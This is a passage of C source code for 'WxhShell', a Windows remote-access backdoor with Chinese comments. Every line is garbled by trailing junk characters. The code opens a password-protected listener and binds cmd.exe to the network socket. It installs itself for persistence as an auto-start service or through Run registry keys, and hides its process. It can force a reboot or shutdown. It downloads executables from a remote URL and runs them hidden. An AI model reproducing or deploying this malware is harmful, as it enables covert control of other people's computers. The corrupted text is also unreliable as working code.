    if(Boot(SHUTDOWN)) .~Td /o7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A$ s4Q0Mf  
    else { vmL0H)q  
    closesocket(wsh); "6.kZ$`%  
    ExitThread(0); dfk=%lZYd9  
    } :sJVklK  
    break; kMUjSa~\  
    } 65g\WB+/  
  // 获取shell Zj$U _  
  case 's': { S25&UwUw  
    CmdShell(wsh); kMK-E<g  
    closesocket(wsh); Z5+qb  
    ExitThread(0); './s'!Lj  
    break; (A?/D!y  
  } wVp  
  // 退出 v\&Wb_;A  
  case 'x': { }" A.[9 b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |E|d"_Ma  
    CloseIt(wsh); $yG=exh3v  
    break; y_QK _R<f  
    } YX- G>.Pc  
  // 离开 3s"x{mtH  
  case 'q': { =lA*?'kd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5ILce%#zL  
    closesocket(wsh); `Fnt#F}  
    WSACleanup(); ~Sh8. ++}  
    exit(1); Xji<oih  
    break; r6JdF!\d  
        } Q/L:0ovR  
  } :IvKxOv  
  }  qauk,t  
# sm>;+J  
  // 提示信息 QF Vy2 q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r,aV11{  
} "/g/Lc  
  } fn]f$n*`  
^GHA,cSf  
  return; 8Y_wS&eB  
} HvLvSy1U  
Xb.WI\Eh  
// shell模块句柄 w 7s+6,  
int CmdShell(SOCKET sock) xmsw'\  
{ hv2@}<r?  
STARTUPINFO si; [ lW~v:W  
ZeroMemory(&si,sizeof(si)); $QN}2lJ>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #[ipJ %  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }y;s(4  
PROCESS_INFORMATION ProcessInfo; 73 ix4C  
char cmdline[]="cmd"; F=bX\T7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %dw@;IZ#8{  
  return 0; -YPUrU[)  
} AT+7!UGL  
3]$qY_|7  
// 自身启动模式 .0}]/%al  
int StartFromService(void) tUaDwIu#  
{ T5$db-^  
typedef struct ^Q0%_V,  
{ \("|X>00  
  DWORD ExitStatus; C5"=%v[gQv  
  DWORD PebBaseAddress; R9xhO!   
  DWORD AffinityMask; #0GvL=}k  
  DWORD BasePriority; * `1W})  
  ULONG UniqueProcessId; /N>f#:}  
  ULONG InheritedFromUniqueProcessId; o-H\vtOjE  
}   PROCESS_BASIC_INFORMATION; INt]OPD  
+`'=K ;{U  
PROCNTQSIP NtQueryInformationProcess; 2 ,RO  
bVO{,P2 o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pbJC A&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P+K< /i  
\W:~;GMeD  
  HANDLE             hProcess; LpN_s#  
  PROCESS_BASIC_INFORMATION pbi; =n7QLQU  
:|%k*z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %zsY=qT  
  if(NULL == hInst ) return 0; @A?Ss8p'  
tX)l_ ?jVH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^qvN:v$1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u]RI,3Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xL&M8:  
j%%& G$Tfu  
  if (!NtQueryInformationProcess) return 0; T8'm{[C  
,E ]vM&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p$.m=+K~  
  if(!hProcess) return 0; v{tw;Z#  
~*NG~Kn"s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #s% _ L  
apy9B6%PJ+  
  CloseHandle(hProcess); .0 }eg$d  
b%A+k"d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jTHgh>n  
if(hProcess==NULL) return 0; wX/0.aZ|  
'ip2|UG  
HMODULE hMod; (+aU,EQ  
char procName[255]; P]cC2L@Vbi  
unsigned long cbNeeded; bSJ@ 5qS  
,#?iu?i/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [0>I6Jl  
Tew?e&eO  
  CloseHandle(hProcess); r8%"#<]/  
V)<Jj  
if(strstr(procName,"services")) return 1; // 以服务启动 p#;I4d G  
:}0>IPW-V  
  return 0; // 注册表启动 3mP251"dIW  
} 2J;_9 g&M  
s]X0}"cz  
// 主模块 r{g8CIwGQ  
int StartWxhshell(LPSTR lpCmdLine) C!X"0]@FA  
{ a)lS)*Y  
  SOCKET wsl; ;+;%s D  
BOOL val=TRUE; P z< \q;  
  int port=0; @{V bu  
  struct sockaddr_in door; $@utlIXA'  
6>Dm cG:.  
  if(wscfg.ws_autoins) Install(); 2UbTKN  
M1HGXdN*B  
port=atoi(lpCmdLine); #EG$HX]  
wa1Qt  
if(port<=0) port=wscfg.ws_port; y\?NB:=%  
z*,J0)<Q  
  WSADATA data; A  r,fmq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o{[w6^D7  
|&u4Q /0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dQljG.PiK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m:-=K  
  door.sin_family = AF_INET; ~CX1WPMI:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K6Z/  
  door.sin_port = htons(port); 0&Z+P?Wb4  
a'!p^/6?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T"_f9?  
closesocket(wsl); 3q-Xj:FP  
return 1; BG/Q7s-?K  
} SPu+t3  
eHE?#r16Z  
  if(listen(wsl,2) == INVALID_SOCKET) { XP%/*am  
closesocket(wsl); (/$a*$  
return 1; Bcl6n@{2f  
} ,hSTR)  
  Wxhshell(wsl); SX1w5+p$C  
  WSACleanup(); F<0GX!p4u  
O_ 4 j"0  
return 0; IRG-H!FV  
A<p6]#t#X)  
} qxbGUyH==  
T/$hN hQK  
// 以NT服务方式启动 FKWL{"y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wN]]t~K)Q  
{ ]5a,%*f+  
DWORD   status = 0; :meq4!g{1  
  DWORD   specificError = 0xfffffff; Vw";< <0HZ  
p>h&SD?b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;%^T*?t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i87+9X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W&=F<n`  
  serviceStatus.dwWin32ExitCode     = 0; ~O8Xj6  
  serviceStatus.dwServiceSpecificExitCode = 0; b wqd` C  
  serviceStatus.dwCheckPoint       = 0; kO}Q OL4  
  serviceStatus.dwWaitHint       = 0; |%$mN{  
{Rtl<W0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y^2]*e%  
  if (hServiceStatusHandle==0) return; 9s2 N!bx  
`xsU'Wd^<  
status = GetLastError(); *pSD[E>SU  
  if (status!=NO_ERROR) AQgagE^  
{ z8JdA%YBM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  j|owU  
    serviceStatus.dwCheckPoint       = 0; ~y" ^t@!E  
    serviceStatus.dwWaitHint       = 0; !SAR/sdXf  
    serviceStatus.dwWin32ExitCode     = status; St|B9V?eEB  
    serviceStatus.dwServiceSpecificExitCode = specificError; qr'P0+|~5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v=J[p;H^H  
    return; eh /QFm 4  
  } M/evZ?uis  
"JpnmE[`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cyXnZs ?|  
  serviceStatus.dwCheckPoint       = 0; OM (D@up  
  serviceStatus.dwWaitHint       = 0; el3lR((H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u.ub:  
} h(gpq SN  
mw fl x8  
// 处理NT服务事件,比如:启动、停止 4l~B/"}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }ZB :nnG  
{ glUf. :]  
switch(fdwControl) eb=#{  
{ {w52]5l  
case SERVICE_CONTROL_STOP: bCmlSu  
  serviceStatus.dwWin32ExitCode = 0; q~6((pWi|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d)'J:  
  serviceStatus.dwCheckPoint   = 0; `KHP?lX  
  serviceStatus.dwWaitHint     = 0; JXAH/N& i  
  { (( {4)5}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XAb-K?)   
  } \[Q*d  
  return; |m>{< :  
case SERVICE_CONTROL_PAUSE: 0u=FlQ }h  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k|; [)gE  
  break; o l8|  
case SERVICE_CONTROL_CONTINUE: Rdl^-\BV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r8TNl@Z  
  break; '[`pU>9  
case SERVICE_CONTROL_INTERROGATE: {wCzm  
  break; !~QmY,R  
}; hx:"'m5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aqoxj[V^3L  
} {hi'LA-4@  
o06vC  
// 标准应用程序主函数 eG08Xt |lc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %dDwus  
{ ?X~U[dV?  
&? z6f9*$  
// 获取操作系统版本 p^X \~Yibs  
OsIsNt=GetOsVer(); R6E.C!EI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W?2Z31;7  
/2fQM_ ,P  
  // 从命令行安装 MB!$s_~o#L  
  if(strpbrk(lpCmdLine,"iI")) Install(); <,huajQs  
zOT(>1'  
  // 下载执行文件 uS&NRf9A  
if(wscfg.ws_downexe) { hM~zO1XW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gQlL0jAV  
  WinExec(wscfg.ws_filenam,SW_HIDE); "FH03 9  
} _su$]s  
]`u_d}`  
if(!OsIsNt) { #9 u2LK  
// 如果时win9x,隐藏进程并且设置为注册表启动 !fK9YW(Im  
HideProc(); OE[N$,4I*  
StartWxhshell(lpCmdLine); D.Z4noMA6  
} t`eUD>\  
else [fl^1!3{  
  if(StartFromService()) SJsRHQ  
  // 以服务方式启动 PNG!q}(c  
  StartServiceCtrlDispatcher(DispatchTable); L0EF CQ7  
else {/K_NSg+h  
  // 普通方式启动 ~[3B<^e  
  StartWxhshell(lpCmdLine); m\;@~o'k  
vj4n=F,Z  
return 0; WN9K*Tt~o&  
} C ]+J  
{n-6e[  
MNV OloA  
m+'vrxTY  
=========================================== 3%DDN\q\u  
Av"^uevfs  
s2;b-0  
Dfl%Knl@J  
%eQw\o,a  
L6f$ID:  
" uBqZ62{G  
4.qW ~ W{  
#include <stdio.h> !/wR[`s9w  
#include <string.h> J)"g`)\2+  
#include <windows.h> =6^phZ(  
#include <winsock2.h> ' Y cVFi  
#include <winsvc.h> a534@U4,  
#include <urlmon.h> j/PNi@  
a[A9(Ftn  
#pragma comment (lib, "Ws2_32.lib") L0dj 76'M  
#pragma comment (lib, "urlmon.lib") 8}<4f|?  
oRQJ YH  
#define MAX_USER   100 // 最大客户端连接数 |Y|gT*v  
#define BUF_SOCK   200 // sock buffer t8\XO j  
#define KEY_BUFF   255 // 输入 buffer Jrm 9,7/  
i! DO  
#define REBOOT     0   // 重启 )ND%MYJSq  
#define SHUTDOWN   1   // 关机 v5`Q7ZZ  
l4smAT  
#define DEF_PORT   5000 // 监听端口 G~fM!F0   
Z+]Uw   
#define REG_LEN     16   // 注册表键长度 c037#&Q%#  
#define SVC_LEN     80   // NT服务名长度 ">hOD'PG  
M8}t`q[-&  
// 从dll定义API f_qW+fN::s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +`s%-}-r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QGM@m:O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y8|?J\eRy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "l.1 UB&  
41Htsj  
// wxhshell配置信息  mZ^ev;  
struct WSCFG { sm>5n_Vw  
  int ws_port;         // 监听端口 Vi o ~2  
  char ws_passstr[REG_LEN]; // 口令 qmWn$,ax  
  int ws_autoins;       // 安装标记, 1=yes 0=no NQ"`F,T  
  char ws_regname[REG_LEN]; // 注册表键名 bUBQ  
  char ws_svcname[REG_LEN]; // 服务名 *oca   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "Acc]CqH*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7GVI={ b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F|3iKK022  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6x8P}?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~L7@,d:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E3==gYCe*  
~qj09  
}; @.SuHd  
1w/Ur'8we  
// default Wxhshell configuration D`C#O 7.N  
struct WSCFG wscfg={DEF_PORT, TE!+G\@  
    "xuhuanlingzhe", i6y$P6s  
    1, @ky<5r*JU(  
    "Wxhshell",  ]H_|E  
    "Wxhshell", TEYn^/n~  
            "WxhShell Service", {'e%Hx  
    "Wrsky Windows CmdShell Service", T_=iJ: Q  
    "Please Input Your Password: ", ? j8S.d~  
  1, *%,{<C,Y  
  "http://www.wrsky.com/wxhshell.exe", |A0)-sVZ  
  "Wxhshell.exe" 8BgHoQ*  
    }; oR_qAb  
1QPS=;|)  
// 消息定义模块 CW9vC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D8S3YdJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H$o=kQN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {Z^  G]@  
char *msg_ws_ext="\n\rExit."; [;n/|/m,  
char *msg_ws_end="\n\rQuit."; r(Vz(  
char *msg_ws_boot="\n\rReboot..."; m}oqs0xx  
char *msg_ws_poff="\n\rShutdown..."; GZ@`}7b}  
char *msg_ws_down="\n\rSave to "; ;ZVT[gi*  
'gQ0=6(\  
char *msg_ws_err="\n\rErr!"; E)}& p\{E  
char *msg_ws_ok="\n\rOK!"; n^P~]1i   
/-v6jiM  
char ExeFile[MAX_PATH]; |{en) {:  
int nUser = 0; 2\/,X CQV  
HANDLE handles[MAX_USER];  5gZ6H/.  
int OsIsNt; ]:X# w0UR  
<*'%Xgm  
SERVICE_STATUS       serviceStatus; $wBF'|eU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; znxP.=GB   
]dj W^C]94  
// 函数声明 {BS}9jZx  
int Install(void); o&Vti"fpC  
int Uninstall(void); {Jx-Zo>'  
int DownloadFile(char *sURL, SOCKET wsh); vdt":  
int Boot(int flag); uz%<K(:Ov  
void HideProc(void); &ap&dM0@%a  
int GetOsVer(void); H/?@UJ5m  
int Wxhshell(SOCKET wsl); RL|d-A+;  
void TalkWithClient(void *cs); do$+ Eh  
int CmdShell(SOCKET sock); v+b#8  
int StartFromService(void); XHER[8l  
int StartWxhshell(LPSTR lpCmdLine); c1x{$  
a(Fx1`}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v%2@M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); + <4gJoI  
lH#C:n  
// 数据结构和表定义 `EJ.L6j$'  
SERVICE_TABLE_ENTRY DispatchTable[] = qjrl$[`X:  
{ CNkI9>L=W`  
{wscfg.ws_svcname, NTServiceMain}, (<ZpT%2  
{NULL, NULL} N3rq8Rk  
}; T>cO{I  
Am @o}EC  
// 自我安装 Xvr7qowL  
int Install(void) 4v?}K   
{ pcrarj  
  char svExeFile[MAX_PATH]; n;+`%;6  
  HKEY key; ^S%xaA9  
  strcpy(svExeFile,ExeFile); bMp[:dw`y  
i] I{7k  
// 如果是win9x系统,修改注册表设为自启动 P1u(0t  
if(!OsIsNt) { : FN-.1C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;.'\8!j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `:>N.9'o  
  RegCloseKey(key); yRyUOTK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]I<w;.z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ALY3en9,  
  RegCloseKey(key); 4A {6)<e  
  return 0; q4y sTm  
    } )kpNg:2p  
  } T?+%3z}8  
} f'WRszrF  
else { bCL/"OB  
x=VLTH/oo  
// 如果是NT以上系统,安装为系统服务 RoLN#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 089 <B& <  
if (schSCManager!=0) nQaryL  
{ ZR8%h<  
  SC_HANDLE schService = CreateService q*'-G]tH=  
  ( \~BYY|UB;W  
  schSCManager, r >;(\_@  
  wscfg.ws_svcname, XEe$Wh  
  wscfg.ws_svcdisp, # H)\ts  
  SERVICE_ALL_ACCESS, -%)S~ R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /:.p{y  
  SERVICE_AUTO_START, r"&uW !~0  
  SERVICE_ERROR_NORMAL, b'1m 9T780  
  svExeFile, %+ : $uk[  
  NULL, >*]dB|2  
  NULL, yE_T#FN  
  NULL, UY}EW`$#m  
  NULL, \TS.9 >\  
  NULL /)*si  
  ); !~_6S*~  
  if (schService!=0) HrS-o=  
  { ym;I(TC+  
  CloseServiceHandle(schService); l0K_29^  
  CloseServiceHandle(schSCManager); 9'Cu9nR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JKY  
  strcat(svExeFile,wscfg.ws_svcname); lKBI3oYn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q5G`N>"V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y1-=H)G  
  RegCloseKey(key); W1 \dGskV  
  return 0; m`9P5[m#x>  
    } S|  
  } @ *&`1  
  CloseServiceHandle(schSCManager); !%/2^  
} .Mxt F\  
} 8'-E>+L   
Uo0[ZsFD  
return 1; cMoBYk  
} W_bA.z T{  
XES$V15  
// 自我卸载 qNX+!Y}y  
int Uninstall(void) qoAJcr2uN  
{ U]PsL3:  
  HKEY key; kIJ=]wU|v  
_T(77KLn;  
if(!OsIsNt) { b>@fHmpwD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3U9leY'2N  
  RegDeleteValue(key,wscfg.ws_regname); L~!Lq4]V\g  
  RegCloseKey(key); 0 } |21YED  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (YY!e2  
  RegDeleteValue(key,wscfg.ws_regname); MZ%S3'  
  RegCloseKey(key); MUi#3o\f  
  return 0; 9/PX~j9O?  
  } 30{+gYA  
} %*^s%NI  
} @@5Ju I-!  
else { {`+:!X   
jL*s(Yq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ; ]VLA9dC  
if (schSCManager!=0) bC,SE*F\  
{ +HF*X~},i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Eyh(257  
  if (schService!=0) I|tn7|*-A[  
  { ,GMuq_H  
  if(DeleteService(schService)!=0) { 50^CILKo7  
  CloseServiceHandle(schService); ~)#xOE}  
  CloseServiceHandle(schSCManager); yHnN7&  
  return 0; 0Ci:w|J  
  } (G 9Ku 8Y  
  CloseServiceHandle(schService); yPk s,7U  
  } 1>)uI@?Rb  
  CloseServiceHandle(schSCManager); ]htx9ds=  
} \79aG3MyK  
} b4CXif  
(Eo#oX  
return 1; D6:"k 2  
} ]ZS/9 $  
uWkuw5;  
// 从指定url下载文件 "9OOyeKu%  
int DownloadFile(char *sURL, SOCKET wsh) v03 ^  
{ ;5:3 =F>ao  
  HRESULT hr; ksV ^Y=]  
char seps[]= "/"; t]6 4=  
char *token; )%bY2 pk  
char *file; 6BObV/S Jg  
char myURL[MAX_PATH]; bj=YFV+  
char myFILE[MAX_PATH]; @O| l A  
!$!"$-5  
strcpy(myURL,sURL); E@8&#<  
  token=strtok(myURL,seps); $*;ke5Dm4  
  while(token!=NULL) _))--+cL  
  { Z`yW2ON$'  
    file=token; 0kL tL!3  
  token=strtok(NULL,seps); #IxCI)!I{[  
  } 18JAca8Zs  
r(Y@;  
GetCurrentDirectory(MAX_PATH,myFILE); k7=mxXF  
strcat(myFILE, "\\"); 3M[5_OK   
strcat(myFILE, file); rlSflcK\\(  
  send(wsh,myFILE,strlen(myFILE),0); |c:xK{Ik  
send(wsh,"...",3,0); ~c|{PZ9U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); AUwIF/>F(]  
  if(hr==S_OK) fHacVj J  
return 0; 4Dv42fO  
else ILT.yxV  
return 1; 5uD'Kd$H  
J-Wphc!m  
} }tPI#[cfK  
g({dD;  
// 系统电源模块 *!u a?  
int Boot(int flag) ? q hme   
{ qj<_*  
  HANDLE hToken; |^t8ct?x~  
  TOKEN_PRIVILEGES tkp; T0lbMp  
Z$ 6yB  
  if(OsIsNt) { #3((f[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YojYb]y+ j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S@vLh=65  
    tkp.PrivilegeCount = 1; BCw0kq@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <'<{|$Pw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'fIirGOl  
if(flag==REBOOT) { WHv xBd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e]u3[ao  
  return 0; QVQ?a&HYS  
} Oxr?y8C~  
else { (C!33s1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /@f3|L<1@V  
  return 0; ]z 5gC`E0  
} Hv<jf38  
  } 5Y(f7,JX  
  else { C]DvoJmBs  
if(flag==REBOOT) { @G0j/@v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uNG?`>4>  
  return 0; 16n8[U!  
} [9xUMX^}  
else { EFS2 zU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |k=L&vs  
  return 0; @Xq3>KJ_)H  
} ?#_]Lzn'  
}  B!+`km5  
3bPF+(`J  
return 1; U#1 ,]a\  
} 8Qi@z Jq,  
x@480r  
// win9x进程隐藏模块 ]BBL=$*  
void HideProc(void) 1U;p+k5c  
{ pm}!?TL  
j?'It`s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K(B|o6[  
  if ( hKernel != NULL ) gv,8Wo  
  { rg{|/ ;imT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KsBi<wY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RE}$(T=  
    FreeLibrary(hKernel); ({#M*=&"  
  } f S(IN~  
Ye) F{WqZ#  
return; B&RgUIrFoY  
} mo- Y %  
iLD:}yK  
// 获取操作系统版本 &ZUV=q%g9n  
int GetOsVer(void) & !I$  
{ 5rx;?yvn  
  OSVERSIONINFO winfo; sy;_%,}N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c;pv< lX'  
  GetVersionEx(&winfo); 6_h'0~3?`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O6$d@r;EK]  
  return 1; NM_Xy<.~E  
  else 9 WhZ= Xk  
  return 0; {@w!kl~8  
} G@Y!*ZH*f  
_}(ej&'f  
// 客户端句柄模块 E/_I$<,_y  
int Wxhshell(SOCKET wsl) XUp'wP  
{ zVU{jmS  
  SOCKET wsh; 1y($h<  
  struct sockaddr_in client; PhOtSml0  
  DWORD myID; y,QJy=?  
:gJ?3LwTf  
  while(nUser<MAX_USER) I@<\DltPi  
{ Z&E!m   
  int nSize=sizeof(client); zwa%$U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K6l{wyMb|  
  if(wsh==INVALID_SOCKET) return 1; ~t-!{F  
Vy7o}z`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `gFE/i18  
if(handles[nUser]==0) 5g(`U+ ,*(  
  closesocket(wsh); &?xZ Hr`  
else ]1(G:h\  
  nUser++; -*T<^G;rK  
  } d`+@ _)ea  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); n^2p jTkl  
r1)@ 7Nt  
  return 0; BQfq]ti  
} t/TWLhx/  
+__PT4ps  
// 关闭 socket aX$Q}mgb  
void CloseIt(SOCKET wsh) 3EN(Pz L  
{ chF@',9t  
closesocket(wsh); gLL8-T[9  
nUser--; -x?I6>{  
ExitThread(0); $+$S}i=  
} ,=@%XMS  
?|;q=p`t-  
// 客户端请求句柄 vRQ7=N{3  
void TalkWithClient(void *cs) ',Q|g^rF]  
{ NP#:} )  
kED1s's  
  SOCKET wsh=(SOCKET)cs; ^Voi 4;  
  char pwd[SVC_LEN]; ~d072qUos  
  char cmd[KEY_BUFF]; *lT:P-  
char chr[1]; 6*\WH%  
int i,j; 5m]N%{<jAB  
GF=rGn@,)`  
  while (nUser < MAX_USER) { 2aR<xcSg  
,'f^K!iA   
if(wscfg.ws_passstr) { EkvTl-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DZ7<-SFU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e(~9JP9  
  //ZeroMemory(pwd,KEY_BUFF); ^L@2%}6b`  
      i=0; e: aa  
  while(i<SVC_LEN) { d~F4  
.*(xkJI3  
  // 设置超时 %HAforH  
  fd_set FdRead; r$ 8 ^K\oF  
  struct timeval TimeOut; >{HQ"{Q  
  FD_ZERO(&FdRead); PV\aQO.mo  
  FD_SET(wsh,&FdRead); 8$TSQ~  
  TimeOut.tv_sec=8; ;qN;oSK  
  TimeOut.tv_usec=0; cfP9b8JG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QU;bDNq,c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qG<3H!Z!ky  
Sbp].3^j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +M=`3jioL  
  pwd=chr[0]; OD O'!T-  
  if(chr[0]==0xd || chr[0]==0xa) { O8Dav^\y?  
  pwd=0; : [r/ Y  
  break; 7H l>UX,|  
  } -$2a@K,i  
  i++; U7do,jCoa  
    } hRwj-N%C  
MoX~ZewWR  
  // 如果是非法用户,关闭 socket -+ha4JOB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,ut-Di=6  
} CVt:tV  
};Oyv7D+b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f)x(sk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x,% %^(  
a7@':Rb n  
while(1) { LN0pC }F  
/L yoTBG  
  ZeroMemory(cmd,KEY_BUFF); BtA_1RO  
Rl/5eE8  
      // 自动支持客户端 telnet标准   5w+KIHhN|  
  j=0; r&y0`M  
  while(j<KEY_BUFF) { 31^Jg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qC x|}5:  
  cmd[j]=chr[0]; Kt#_Ln_6  
  if(chr[0]==0xa || chr[0]==0xd) { 6|G&d>G$_  
  cmd[j]=0; <%iRa$i5  
  break; xk*&zAt  
  } S T1V  
  j++; QHDR* tB:{  
    } ]T:a&DHC  
b$;qtfJG  
  // 下载文件 _@5|r|P>  
  if(strstr(cmd,"http://")) { vk0b b3){D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |ns B'Q  
  if(DownloadFile(cmd,wsh)) ,` 64t'g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T@%\?=P  
  else ?yc{@|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v6M4KC2?  
  } 2rV]n  
  else { J yO2P  
) UCc!  
    switch(cmd[0]) { Iz^vt#b  
  cE;n>ta"F  
